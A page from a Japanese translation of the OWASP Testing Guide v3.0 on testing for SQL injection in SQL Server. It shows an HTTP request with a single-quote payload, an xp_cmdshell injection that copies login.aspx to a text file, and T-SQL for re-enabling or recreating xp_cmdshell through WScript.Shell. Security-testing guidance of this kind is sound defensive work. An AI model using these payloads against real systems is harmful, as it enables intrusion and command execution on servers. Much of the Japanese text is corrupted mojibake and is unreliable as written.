OWASP テスティングガイド

OWASP Testing Guide v3.0
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
email=%27&whichSubmit=submit&submit.x=0&submit.y=0
'(サヱギラキエート'が email のフィーラドに 入 力 された 場 合 、ウョーミッスーザが 得 られます。
The error message obtained when a ' (single quote) character is entered at the email field is:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '.
/forgotpass.asp, line 15
例 4: その 他 の( 便 利 な)GET の 例
アプヨクーサュヱのセーシケードを 取 得 する8
a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx
c:\inetpub\wwwroot\login.txt';--
例 5: カスタマの xp_cmdshell
すべての 書 籍 やヘーパーでは、SQL Server のスカャヨティプシトプョキティシとして、SQL Server 2000(SQL Server 2005 では
デフェラトで 無 効 化 されています'の xp_cmdshell を 無 効 化 することを 推 奨 しています。しかし、sysadmin の 権 限 があれば
(そのままで、あるいは、 以 下 のように sysadmin のパシワロードをブラートフェーシすることで'、この 制 限 を 迂 回 することが 可
能 です。
SQL Server 2000 では8
• もし、xp_cmdshell が sp_dropextendedproc によって 無 効 化 されている 場 合 、 単 純 に 以 下 のケードを 注 入 できま
す8
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
• もし 上 記 ケードが 動 作 しない 場 合 、xp_log70.dll が 移 動 されているか 削 除 されています。このクーシでは、 以 下 のケ
ードを 注 入 する 必 要 があります8
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult 0 SELECT @result = @OLEResult
IF @OLEResult 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult 0 SELECT @result = @OLEResult
239